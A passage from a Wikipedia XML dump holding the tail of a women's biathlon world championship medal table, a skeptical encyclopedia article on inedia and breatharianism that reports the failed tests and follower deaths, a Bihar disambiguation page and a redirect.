|{{flag athl iocc|[[Olena Petrova]]|UKR}}
|{{flag athl iocc|[[Katerina Holubcova]]|CZE}}
|-
| 2004
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}&amp;sup3;
|{{flag athl iocc|[[Anna Bogaliy-Titovets|Anna Bogaliy]]|RUS}}
|{{flag athl iocc|[[Ekaterina Ivanova|Ivanova]]|BLR}}, {{flag athl iocc|[[Martina Glagow|Glagow]]|GER}}
|-
| [[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|{{flag athl iocc|[[Olga Zaitseva]]|RUS}}
|{{flag athl iocc|[[Olena Zubrilova]]|BLR}}&amp;sup2;
|}
(&amp;sup1; Magdalena Wallin married biathlete Henrik Forsberg in 1996)&lt;br&gt;
(&amp;sup2; Olena Zubrilova changed her citizenship from Ukrainian to Belarusian in 2002)&lt;br&gt;
(&amp;sup3; Liv Grete Skjelbreid married biathlete Raphaël Poirée in 2000)

=== Pursuit (10 km) ===
This event was first held in [[1997]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
| 1997
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}
|{{flag athl iocc|[[Olga Romasko]]|RUS}}
|-
| 1998
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|{{flag athl iocc|[[Corinne Niogret]]|FRA}}
|{{flag athl iocc|[[Martina Zellner]]|GER}}
|-
| 1999
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}
|{{flag athl iocc|[[Martina Halinarova]]|SVK}}
|{{flag athl iocc|[[Martina Zellner]]|GER}}
|-
| 2000
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|{{flag athl iocc|[[Florence Baverel-Robert]]|FRA}}
|-
| 2001
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}
|{{flag athl iocc|[[Corinne Niogret]]|FRA}}
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|-
| 2003
|{{flag athl iocc|[[Sandrine Bailly|Bailly]]|FRA}}, {{flag athl iocc|[[Martina Glagow|Glagow]]|GER}}
| &lt;center&gt;-&lt;/center&gt;
|{{flag athl iocc|[[Svetlana Ishmouratova]]|RUS}}
|-
| 2004
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}
|{{flag athl iocc|[[Martina Glagow]]|GER}}
|{{flag athl iocc|[[Anna Bogaliy-Titovets|Anna Bogaliy]]|RUS}}
|-
| [[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|{{flag athl iocc|[[Xianying Liu]]|CHN}}
|{{flag athl iocc|[[Olga Zaitseva]]|RUS}}
|}

=== Mass start (12.5 km) ===
This event was first held in [[1999]]. In 2002, the distance was 15 km.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
| 1999
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}&amp;sup1;
|{{flag athl iocc|[[Olena Petrova]]|UKR}}
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|-
| 2000
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}
|{{flag athl iocc|[[Galina Koukleva]]|RUS}}
|{{flag athl iocc|[[Corinne Niogret]]|FRA}}
|-
| 2001
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|{{flag athl iocc|[[Martina Glagow]]|GER}}
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}
|-
| 2002
|{{flag athl iocc|[[Olena Zubrilova]]|BLR}}&amp;sup1;
|{{flag athl iocc|[[Olga Pyleva]]|RUS}}
|{{flag athl iocc|[[Olga Nazarova]]|BLR}}
|-
| 2003
|{{flag athl iocc|[[Albina Akhatova]]|RUS}}
|{{flag athl iocc|[[Svetlana Ishmouratova]]|RUS}}
|{{flag athl iocc|[[Sandrine Bailly]]|FRA}}
|-
| 2004
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}
|{{flag athl iocc|[[Katrin Apel]]|GER}}
|{{flag athl iocc|[[Sandrine Bailly]]|FRA}}
|-
| [[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Gro Marit Istad-Kristiansen|Gro M. Istad-Kristiansen]]|NOR}}
|{{flag athl iocc|[[Anna Carin Olofsson]]|SWE}}
|{{flag athl iocc|[[Olga Pyleva]]|RUS}}
|}
(&amp;sup1; Olena Zubrilova changed her citizenship from Ukrainian to Belarusian in 2002)

=== Relay (4 &amp;times; 7.5/6 km) ===
This event was first held in [[1984]]. Through 1991, the event was 3 &amp;times; 5 km. In 2003, leg distance was set to 6 km.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot; width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot; width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
| 1984
|{{URS}}&lt;br /&gt;[[Venera Chernychova]]&lt;br /&gt;[[Ludmila Sabolotyana]]&lt;br /&gt;[[Kaya Parve]]&lt;br /&gt;&amp;nbsp;
|{{NOR}}&lt;br /&gt;[[Sanna Grønlid]]&lt;br /&gt;[[Gry Østvik]]&lt;br /&gt;[[Siv Bråthen Lunde|Siv Bråten]]&lt;br /&gt;&amp;nbsp;
|{{USA}}&lt;br /&gt;[[Holly Beatie]]&lt;br /&gt;[[Julie Newman]]&lt;br /&gt;[[Kari Swenson]]&lt;br /&gt;&amp;nbsp;
|-
| 1985
|{{URS}}&lt;br /&gt;[[Venera Chernychova]]&lt;br /&gt;[[Elena Golovina]]&lt;br /&gt;[[Kaya Parve]]&lt;br /&gt;&amp;nbsp;
|{{NOR}}&lt;br /&gt;[[Sanna Grønlid]]&lt;br /&gt;[[Gry Østvik]]&lt;br /&gt;[[Siv Bråten Lunde|Siv Bråten]]&lt;br /&gt;&amp;nbsp;
|{{FIN}}&lt;br /&gt;[[Pirjo Matilla]]&lt;br /&gt;[[Tuija Vouksiala]]&lt;br /&gt;[[Teja Nieminen]]&lt;br /&gt;&amp;nbsp;
|-
| 1986
|{{URS}}&lt;br /&gt;[[Kaya Parve]]&lt;br /&gt;[[Nadejda Belova]]&lt;br /&gt;[[Venera Chernychova]]&lt;br /&gt;&amp;nbsp;
|{{SWE}}&lt;br /&gt;[[Eva Korpela]]&lt;br /&gt;[[Inger Björkbom]]&lt;br /&gt;[[Sabine Karlsson]]&lt;br /&gt;&amp;nbsp;
|{{NOR}}&lt;br /&gt;[[Sanna Grønlid]]&lt;br /&gt;[[Siv Bråten Lunde|Siv Bråten]]&lt;br /&gt;[[Anne Elvebakk]]&lt;br /&gt;&amp;nbsp;
|-
| 1987
|{{URS}}&lt;br /&gt;[[Elena Golovina]]&lt;br /&gt;[[Venera Chernychova]]&lt;br /&gt;[[Kaya Parve]]&lt;br /&gt;&amp;nbsp;
|{{SWE}}&lt;br /&gt;[[Inger Björkbom]]&lt;br /&gt;[[Mia Stadig]]&lt;br /&gt;[[Eva Korpela]]&lt;br /&gt;&amp;nbsp;
|{{NOR}}&lt;br /&gt;[[Anne Elvebakk]]&lt;br /&gt;[[Sanna Grønlid]]&lt;br /&gt;[[Siv Bråten Lunde]]&lt;br /&gt;&amp;nbsp;
|-
| 1988
|{{URS}}&lt;br /&gt;[[Venera Chernychova]]&lt;br /&gt;[[Elena Golovina]]&lt;br /&gt;[[Kaya Parve]]&lt;br /&gt;&amp;nbsp;
|{{NOR}}&lt;br /&gt;[[Elin Kristiansen]]&lt;br /&gt;[[Anne Elvebakk]]&lt;br /&gt;[[Mona Bollerud]]&lt;br /&gt;&amp;nbsp;
|{{SWE}}&lt;br /&gt;[[Eva Korpela]]&lt;br /&gt;[[Inger Björkbom]]&lt;br /&gt;[[Mia Stadig]]&lt;br /&gt;&amp;nbsp;
|-
| 1989
|{{URS}}&lt;br /&gt;[[Natalia Prikostshikova]]&lt;br /&gt;[[Svetlana Petcherskaia|Svetlana Davidova]]&lt;br /&gt;[[Elena Golovina]]&lt;br /&gt;&amp;nbsp;
|{{BGR}}&lt;br /&gt;[[Zvetanka Krasteva]]&lt;br /&gt;[[Maria Manolova]]&lt;br /&gt;[[Nadejda Alexieva]]&lt;br /&gt;&amp;nbsp;
|{{TCH}}&lt;br /&gt;[[Eva Buresová]]&lt;br /&gt;[[Renata Novotná]]&lt;br /&gt;[[Jirina Pelcova|Jirina Adamicková]]&lt;br /&gt;&amp;nbsp;
|-
| 1990
|{{URS}}&lt;br /&gt;[[Elena Batsevich]]&lt;br /&gt;[[Elena Golovina]]&lt;br /&gt;[[Svetlana Petcherskaia|Svetlana Davidova]]&lt;br /&gt;&amp;nbsp;
|{{NOR}}&lt;br /&gt;[[Grete Ingeborg Nykkelmo]]&lt;br /&gt;[[Anne Elvebakk]]&lt;br /&gt;[[Elin Kristiansen]]&lt;br /&gt;&amp;nbsp;
|{{FIN}}&lt;br /&gt;[[Tuija Vouksialo]]&lt;br /&gt;[[Seija Hyytiäinen]]&lt;br /&gt;[[Pirjo Matila]]&lt;br /&gt;&amp;nbsp;
|-
| 1991
|{{URS}}&lt;br /&gt;[[Elena Belova]]&lt;br /&gt;[[Elena Golovina]]&lt;br /&gt;[[Svetlana Petcherskaia|Svetlana Davidova]]&lt;br /&gt;&amp;nbsp;
|{{NOR}}&lt;br /&gt;[[Grete Ingeborg Nykkelmo]]&lt;br /&gt;[[Anne Elvebakk]]&lt;br /&gt;[[Elin Kristiansen]]&lt;br /&gt;&amp;nbsp;
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Kerstin Möring]]&lt;br /&gt;[[Antje Harvey|Antje Misersky]]&lt;br /&gt;&amp;nbsp;
|-
| 1993
|{{CZE}}&lt;br /&gt;[[Jana Vapenikova|Jana Kulhavá]]&lt;br /&gt;[[Jirina Pelcova|Jirina Adamicková]]&lt;br /&gt;[[Iveta Roubickova|Iveta Knizková]]&lt;br /&gt;[[Eva Haková]]
|{{FRA}}&lt;br /&gt;[[Corinne Niogret]]&lt;br /&gt;[[Véronique Claudel]]&lt;br /&gt;[[Delphyne Heymann-Burlet|Delphyne Heymann]]&lt;br /&gt;[[Anne Briand]]
|{{RUS}}&lt;br /&gt;[[Svetlana Paniutina]]&lt;br /&gt;[[Nadejda Talanova]]&lt;br /&gt;[[Olga Simushina]]&lt;br /&gt;[[Elena Belova]]
|-
| 1995
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Antje Harvey]]&lt;br /&gt;[[Simone Greiner-Petter-Memm]]&lt;br /&gt;[[Petra Behle|Petra Schaaf]]
|{{FRA}}&lt;br /&gt;[[Corinne Niogret]]&lt;br /&gt;[[Véronique Claudel]]&lt;br /&gt;[[Florence Baverel]]&lt;br /&gt;[[Anne Briand]]
|{{NOR}}&lt;br /&gt;[[Ann Elen Skjelbreid]]&lt;br /&gt;[[Hildegunn Fossen]]&lt;br /&gt;[[Anette Sikveland]]&lt;br /&gt;[[Gunn Margit Andreassen]]
|-
| 1996
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Simone Greiner-Petter-Memm]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Petra Behle]]
|{{FRA}}&lt;br /&gt;[[Corinne Niogret]]&lt;br /&gt;[[Florence Baverel]]&lt;br /&gt;[[Emmanuelle Claret]]&lt;br /&gt;[[Anne Briand]]
|{{UKR}}&lt;br /&gt;[[Tetyana Vodopyanova]]&lt;br /&gt;[[Valentina Tserbe]]&lt;br /&gt;[[Olena Petrova]]&lt;br /&gt;[[Olena Zubrilova]]&amp;sup1;
|-
| 1997
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Simone Greiner-Petter-Memm]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Petra Behle]]
|{{NOR}}&lt;br /&gt;[[Ann Elen Skjelbreid]]&lt;br /&gt;[[Anette Sikveland]]&lt;br /&gt;[[Liv Grete Skjelbreid Poirée|Liv Grete Skjelbreid]]&amp;sup2;&lt;br /&gt;[[Gunn Margit Andreassen]]
|{{RUS}}&lt;br /&gt;[[Olga Melnik]]&lt;br /&gt;[[Galina Koukleva]]&lt;br /&gt;[[Nadejda Talanova]]&lt;br /&gt;[[Olga Romasko]]
|-
| 1999
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Simone Greiner-Petter-Memm]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Martina Zellner]]
|{{RUS}}&lt;br /&gt;[[Nadejda Talanova]]&lt;br /&gt;[[Galina Koukleva]]&lt;br /&gt;[[Olga Romasko]]&lt;br /&gt;[[Albina Akhatova]]
|{{FRA}}&lt;br /&gt;[[Delphyne Heymann-Burlet]]&lt;br /&gt;[[Florence Baverel]]&lt;br /&gt;[[Christelle Gros]]&lt;br /&gt;[[Corinne Niogret]]
|-
| 2000
|{{RUS}}&lt;br /&gt;[[Olga Pyleva]]&lt;br /&gt;[[Svetlana Tchernousova]]&lt;br /&gt;[[Galina Koukleva]]&lt;br /&gt;[[Albina Akhatova]]
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Andrea Henkel]]&lt;br /&gt;[[Martina Zellner]]
|{{UKR}}&lt;br /&gt;[[Olena Zubrilova]]&amp;sup1;&lt;br /&gt;[[Olena Petrova]]&lt;br /&gt;[[Nina Lemesh]]&lt;br /&gt;[[Tetyana Vodopyanova]]
|-
| 2001
|{{RUS}}&lt;br /&gt;[[Olga Pyleva]]&lt;br /&gt;[[Anna Bogaliy-Titovets|Anna Bogaliy]]&lt;br /&gt;[[Galina Koukleva]]&lt;br /&gt;[[Svetlana Ishmouratova]]
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Andrea Henkel]]&lt;br /&gt;[[Kati Wilhelm]]
|{{UKR}}&lt;br /&gt;[[Olena Zubrilova]]&amp;sup1;&lt;br /&gt;[[Olena Petrova]]&lt;br /&gt;[[Nina Lemesh]]&lt;br /&gt;[[Tatyana Vodopyanova]]
|-
| 2003
|{{RUS}}&lt;br /&gt;[[Albina Akhatova]]&lt;br /&gt;[[Svetlana Ishmouratova]]&lt;br /&gt;[[Galina Koukleva]]&lt;br /&gt;[[Svetlana Tchernousova]]
|{{UKR}}&lt;br /&gt;[[Oksana Khvostenko]]&lt;br /&gt;[[Irina Merkushina]]&lt;br /&gt;[[Oksana Yakovleva]]&lt;br /&gt;[[Olena Petrova]]
|{{GER}}&lt;br /&gt;[[Simone Denkinger]]&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Kati Wilhelm]]&lt;br /&gt;[[Martina Glagow]]
|-
| 2004
|{{NOR}}&lt;br /&gt;[[Linda Tjørhom]]&lt;br /&gt;[[Gro Marit Istad|Gro M. Istad-Kristiansen]]&lt;br /&gt;[[Gunn Margit Andreassen]]&lt;br /&gt;[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]&amp;sup2;
|{{RUS}}&lt;br /&gt;[[Olga Pyleva]]&lt;br /&gt;[[Svetlana Ishmouratova]]&lt;br /&gt;[[Anna Bogaliy-Titovets|Anna Bogaliy]]&lt;br /&gt;[[Albina Akhatova]]
|{{GER}}&lt;br /&gt;[[Martina Glagow]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Simone Denkinger]]&lt;br /&gt;[[Kati Wilhelm]]
|-
| [[Biathlon World Championship 2005|2005]]
|{{RUS}}&lt;br /&gt;[[Olga Pyleva]]&lt;br /&gt;[[Svetlana Ishmouratova]]&lt;br /&gt;[[Anna Bogaliy-Titovets]]&lt;br /&gt;[[Olga Zaitseva]]
|{{GER}}&lt;br /&gt;[[Uschi Disl]]&lt;br /&gt;[[Katrin Apel]]&lt;br /&gt;[[Andrea Henkel]]&lt;br /&gt;[[Kati Wilhelm]]
|{{BLR}}&lt;br /&gt;[[Ekaterina Ivanova]]&lt;br /&gt;[[Olga Nazarova]]&lt;br /&gt;[[Ludmilla Ananko]]&lt;br /&gt;[[Olena Zubrilova]]&amp;sup1;
|}
(&amp;sup1; Olena Zubrilova changed her citizenship from Ukrainian to Belarusian in 2002)&lt;br /&gt;
(&amp;sup2; Liv Grete Skjelbreid married biathlete Raphaël Poirée in 2000)

=== Team ===
This event was held from [[1989]] to 1998.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
| 1989
|{{URS}}
|{{NOR}}
|{{FRG}}
|-
| 1990
|{{URS}}
|{{FRG}}
|{{BGR}}
|-
| 1991
|{{URS}}
|{{BGR}}
|{{NOR}}
|-
| 1992
|{{GER}}
|{{EUN}}
|{{TCH}}
|-
| 1993
|{{FRA}}
|{{BLR}}
|{{POL}}
|-
| 1994
|{{BLR}}
|{{NOR}}
|{{FRA}}
|-
| 1995
|{{NOR}}
|{{GER}}
|{{FRA}}
|-
| 1996
|{{GER}}
|{{UKR}}
|{{FRA}}
|-
| 1997
|{{NOR}}
|{{RUS}}
|{{UKR}}
|-
| 1998
|{{RUS}}
|{{NOR}}
|{{FIN}}
|}

==Mixed==
''[[Romanization#Cyrillic|Romanization]] of [[Cyrillic alphabet]]-based names follows the [[Biathlon#Governing body|IBU]]'s athlete records''.

===Relay (4 &amp;times; 6 km)===
This event was first held in [[Biathlon World Championship 2005|2005]], at the [[Biathlon World Cup champions|BWC]] finals in [[Khanty-Mansiysk]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
| 2005 
|{{RUS}} I&lt;br&gt;[[Olga Pyleva]]&lt;br&gt;[[Svetlana Ishmouratova]]&lt;br&gt;[[Ivan Tcherezov]]&lt;br&gt;[[Nikolay Kruglov]]
|{{RUS}} II &lt;br&gt;[[Anna Bogaliy-Titovets]]&lt;br&gt;[[Olga Zaitseva]]&lt;br&gt;[[Sergei Tchepikov]]&lt;br&gt;[[Sergei Rozhkov]]
|{{GER}} I&lt;br&gt;[[Uschi Disl]]&lt;br&gt;[[Kati Wilhelm]]&lt;br&gt;[[Michael Greis]]&lt;br&gt;[[Ricco Gross]]
|}

==See also==
*[[Biathlon World Cup champions]] 
*[[Olympic medalists in biathlon]]

[[Category:Biathlon|World Championships]]

[[de:Biathlon-Weltmeisterschaften]]
[[fr:Championnats du monde de biathlon]]
[[it:Mondiali di biathlon]]
[[no:VM i skiskyting]]
[[nn:Verdsmeisterskapen i skiskyting]]</text>
    </revision>
  </page>
  <page>
    <title>Inedia</title>
    <id>5040</id>
    <revision>
      <id>40996511</id>
      <timestamp>2006-02-24T10:30:21Z</timestamp>
      <contributor>
        <username>AleksiH</username>
        <id>973882</id>
      </contributor>
      <comment>unsubstantiated claim</comment>
      <text xml:space="preserve">'''Inedia''' is the alleged ability to live without food.

A '''Breatharian''' is someone who believes that [[food]] (and possibly [[water]]) are not necessary for human sustenance.  Breatharians claim that the body can be sustained solely by [[prana]] (the vital life force in [[Hinduism]]), or according to some, by the energy in [[sunlight]].  

''Breatharianism'' or ''inedia'' may also refer to this philosophy practiced as a [[lifestyle]] in place of the usual [[diet (nutrition)|diet]].  While it is often seen as an [[esoteric]] practice performed by eastern [[ascetic]]s, recently some groups such as the [http://www.breatharian.com Breatharian Institute of America] have promoted the practice as an option for anybody, once the proper techniques for accessing it are made known.

Both current [[scientific]] theories about [[nutrition]] and generally accepted [[common sense]] indicate that a person who followed this practice in the long term would die of [[starvation]] (if abstaining from food) or [[dehydration]] (if abstaining from food and water).  Breatharians have seldom submitted themselves to medical testing and currently there is no evidence to support their claims.

[[James Randi]] has this to say about Breatharianism:

&lt;blockquote&gt;There are some claims that are far too implausible to warrant any serious examination, such as the &quot;Breatharian&quot; claims in which the applicant states that he can survive without food or water. Science conclusively tells us all we need to know about such matters, and the [[James Randi Educational Foundation|JREF]] feels no obligation to engage applicants in such delusions. [http://www.randi.org/research/faq.html]&lt;/blockquote&gt;

The idea of a &quot;Breatharian&quot; was explored on the FX show &quot;Starved,&quot; where one of the main characters tried this concept in order to lose weight.

== Jasmuheen ==

[[Jasmuheen]] (born Ellen Greve) was probably the most famous advocate of Breatharianism during the [[1990s]]. [http://www.jasmuheen.com/]  She claimed &quot;I can go for months and months without having anything at all other than a cup of tea.  My body runs on a different kind of nourishment.&quot;[http://www.apologeticsindex.org/b12.html]  Several interviewers found her house full of food, but she claimed the food was for her husband. 

In 1999, she volunteered to be monitored closely by Australia's ''[[60 Minutes#Australian 60 Minutes|60 Minutes]]'' for one week without eating to demonstrate her methods. [http://sixtyminutes.ninemsn.com.au/60/stories/1999_10_24/story_57.asp] [http://www.ratbags.com/rsoles/comment/jasmuheen.htm]

Greve claimed that she failed because on the first day of the test she had been confined in a hotel room near a busy road, saying that the [[stress (medicine)|stress]] and [[pollution]] kept her from getting the nutrients she needed from the air. “I asked for fresh air. Seventy percent of my nutrients come from fresh air. I couldn’t even breathe,” she said. On the third day the test moved to a mountainside retreat where she could get plenty of fresh air and live happily.  After Greve had fasted for four days, Dr. Berris Wink, president of the Queensland branch of the Australian Medical Association, urged her to stop the test. 

According to the doctor, Greve’s pupils were dilated, her speech was slow, she was &quot;quite dehydrated, probably over 10 per cent, getting up to 11 per cent.&quot; Towards the end of the test, he said, &quot;Her pulse is about double what it was when she started.  The risks if she goes any further are kidney failure. 60 Minutes would be culpable if they encouraged her to continue. She should stop now.&quot; The test was stopped. Dr. Wink said, &quot;Unfortunately there are a few people who may believe what she says, and I'm sure its only a few, but I think it's quite irresponsible for somebody to be trying to encourage others to do something that is so detrimental to their health.&quot;[http://www.rickross.com/reference/breat/breat13.html] 

She challenged the results of the program, saying, &quot;Look, 6,000 people have done this around the world without any problem.&quot;[http://www.apologeticsindex.org/an991028.html#19] Though she has thousands of followers,[http://www.rickross.com/reference/breat/breat23.html][http://liberatapublishers.com/mysticism.htm] mostly in Germany,[http://www.rickross.com/reference/breat/breat05.html] there is no evidence that any have lived for long periods of time without any food at all.

Jasmuheen was awarded the [[Bent Spoon Award]] by Australian Skeptics in 2000 (&quot;presented to the perpetrator of the most preposterous piece of paranormal or pseudoscientific piffle&quot;).[http://www.skeptics.com.au/spoon/2000winners.htm]

Jasmuheen claims that their beliefs are based on the writings and &quot;more recent [[Channelling (mediumistic)|channelled]] material&quot; of the [[Count of St Germain]].[http://www.rickross.com/reference/breat/breat06.html]

She claims that her [[DNA]] has expanded from 2 to 12 strands, to &quot;absorb more hydrogen&quot;.  When offered $30,000 to prove her claim with a blood test, she said that she didn't understand the relevance.[http://www.abc.net.au/science/correx/archives/jasmuheen.htm]

=== Deaths ===

The well-publicized deaths of 49-year-old Australian-born Scotland resident [[Verity Linn]],  31-year-old Munich kindergarten teacher [[Timo Degen]], and 53-year-old Melbourne resident [[Lani Marcia Roslyn Morris]] while attempting to enter the Breatharian &quot;diet&quot; have drawn further criticism of the idea.[http://news.bbc.co.uk/1/hi/scotland/453661.stm] [http://www.rickross.com/reference/breat/breat08.html]  [[Jim Vadim Pesnak]], 63, and his wife Eugenia, 60, went to jail for three years on charges of manslaughter for their involvement in the death of Morris.  

Verity Lynn, the Scottish woman who inadvertently killed herself by choosing the Breatharian &quot;diet&quot; was a nominee for the 1999 [[Darwin Awards]]. She &quot;took to the highlands&quot;, the article says, &quot;with only a tent and her grit and determination.&quot; She died of hypothermia and dehydration, aggravated by lack of food. Jasmuheen claimed that her death was brought on by a psycho-spiritual problem, rather than a physiological one.

Jasmuheen has denied any involvement with the three deaths and claims she cannot be held responsible for the actions of her followers.  In reference to the death of Lani Morris, she said that perhaps Morris was &quot;not coming from a place of integrity and did not have the right motivation.&quot;[http://www.rickross.com/reference/breat/breat08.html]

== Prahlad Jani ==

Prahlad Jani, a [[fakir]], spent ten days under strict observation by physicians in [[Ahmedabad]], [[India]] in [[2003]]. During the observation, he was given only 100 [[millilitre]]s of water a day to use as mouthwash, which was collected and measured after he used it, to make sure he hadn't consumed any. Throughout the observation, he passed no urine or stool, but doctors say urine appeared to form in the bladder, only to be reabsorbed. However, despite Jani's claim to have gone without food for decades, Jani was not engaged in strenuous exercise during the ten-day trial, and longer trials were not recorded under similarly strict observation. Further, his weight did drop slightly during the 10 days to later stabilize, casting some doubt on his claim to go indefinitely without food.  Jani claims a goddess sustains him through nectar that filters down through a hole in his [[palate]]. [http://news.bbc.co.uk/2/hi/south_asia/3236118.stm]

The Indian Rationalists label him a &quot;village fraud.&quot; [http://www.rationalistinternational.net/article/20031201_en.htm]

== Yan Xin ==

Dr. [[Yan Xin]], a practitioner of [[Han Chinese|Chinese]] [[Qigong]] and other [[esotericism]]s, and some of his followers claim to have lived for months and years without eating. However, there is no scientifically confirmed evidence of this.{{citation needed}}

== Roman Catholicism ==

[[Roman Catholic]]ism also has traditions of inedia, in which [[saint]]s claimed to have been able to go for months or years without any food (or with no food but [[Eucharist|Communion]]).[http://www.catholic-forum.com/saints/define87.htm]  Such saints include:
* [[Alphais]]
* [[Helen Enselmini]]
* [[Elisabeth the Good]]
* [[Lydwina of Schiedam]]
* [[Mary Ann de Paredes]]
* [[Nicholas of Flue]] (According to legend, he survived for nineteen years with no food except for the [[Eucharist]].)

== Hinduism ==
[[Paramahansa Yogananda]]'s ''Autobiography of a Yogi'' details two alleged historical examples of Breatharianism, [[Giri Bala]] and [[Therese Neumann]].

== Other explanations ==

Other than a simple [[confidence trick]], [[skepticism|skeptics]] can also point to [[somnambulism]] as an alternative explanation for this purported phenomenon. The most common sleep activity is [[sleepwalking]], but activities such as [[eat]]ing, dressing or even driving [[automobile|cars]] have also been recorded as taking place while the subjects are technically asleep.{{citation needed}}

== See also ==

* [[Fasting]]
* [[Esotericism]]
* [[Mysticism]]
* [[New Age]]
* [[Spirituality]]

== External links ==

=== Proponent sites ===

* [http://breatharian.info Breatharian.info] — Information and forum about Breatharianism
* [http://www.breatharian.com/ The Breatharian Institute Of America] — Wiley Brooks' organization
* [http://www.jasmuheen.com/ Jasmuheen.com] — Jasmuheen's organization
* [http://www.inedia.com/ Inedia Health] — Health information

=== Case studies ===

* [http://home.iae.nl/users/lightnet/health/breatharianslinks.htm A list of historical and contemporary breatharians]
* [http://news.bbc.co.uk/2/hi/south_asia/3236118.stm BBC story: Fasting fakir flummoxes physicians] — article about Prahlad Jani, who claims to have not eaten anything in 68 years
* [http://www.amazingabilities.com/amaze5b.html Prahlad Jani — Ten Day Study Medical Case Summary]
* [http://news.bbc.co.uk/hi/english/uk/scotland/newsid_703000/703279.stm BBC story: Guru condemned as 'dangerous']
* [http://news.bbc.co.uk/hi/english/uk/scotland/newsid_453000/453661.stm BBC story: Woman 'starved herself to death']
* [http://www.newsindia.com/breaking_news/34786.asp Scientist skips food, 'survives&quot; by solar energy] — article about Dr. Michael Werner, who claims to have not eaten anything in four years
* [http://www.indianewengland.com/media/paper549/news/2004/11/15/Community/Sunlight.Water.Are.The.Only.Sustenance.He.Needs-805110.shtml Sunlight, water are the only sustenance he needs] — article about Hira Ratan Manek, who claims to have eaten no food since 1995
* [http://home.iae.nl/users/lightnet/health/lightresearch.htm Description of Hira Ratan Manek's fasting]

=== Criticism ===

* [http://skepdic.com/inedia.html Skeptic's Dictionary article about Breatharianism]
* [http://skepdic.com/prana.html Skeptic's Dictionary on prana, which breatharians claim to be sustained by]
* [http://www.rickross.com/groups/breat.html Breatharian information] from the [[Rick Ross]] Institute for Cults, Destructive Cults, Controversial Groups and Movements

[[nl:Breatharian]]
[[pl:niejedzenie]]

[[Category: Diets]]
[[Category: Cults]]
[[Category: Metaphysics]]
[[Category: Pseudoscience]]</text>
    </revision>
  </page>
  <page>
    <title>Bihar (disambiguation)</title>
    <id>5041</id>
    <revision>
      <id>34516764</id>
      <timestamp>2006-01-09T18:38:50Z</timestamp>
      <contributor>
        <username>Orioane</username>
        <id>362844</id>
      </contributor>
      <minor />
      <comment>dab link</comment>
      <text xml:space="preserve">'''[[Bihar]]''' is a state in India

'''Bihar''' may also refer to:
*[[Bihar River]], India
*[[Bihar (county)]], a historic county of the [[Kingdom of Hungary]]
*'''Bihar''', the [[Hungarian language|Hungarian]] name of the [[Counties of Romania|Romanian county]] [[Bihor County|Bihor]]
*[[Bihar (Khazar)]], a [[khagan]] of the [[Khazars]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Beast of bodmin</title>
    <id>5044</id>
    <revision>
      <id>15903286</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Beast of Bodmin]]
</text>
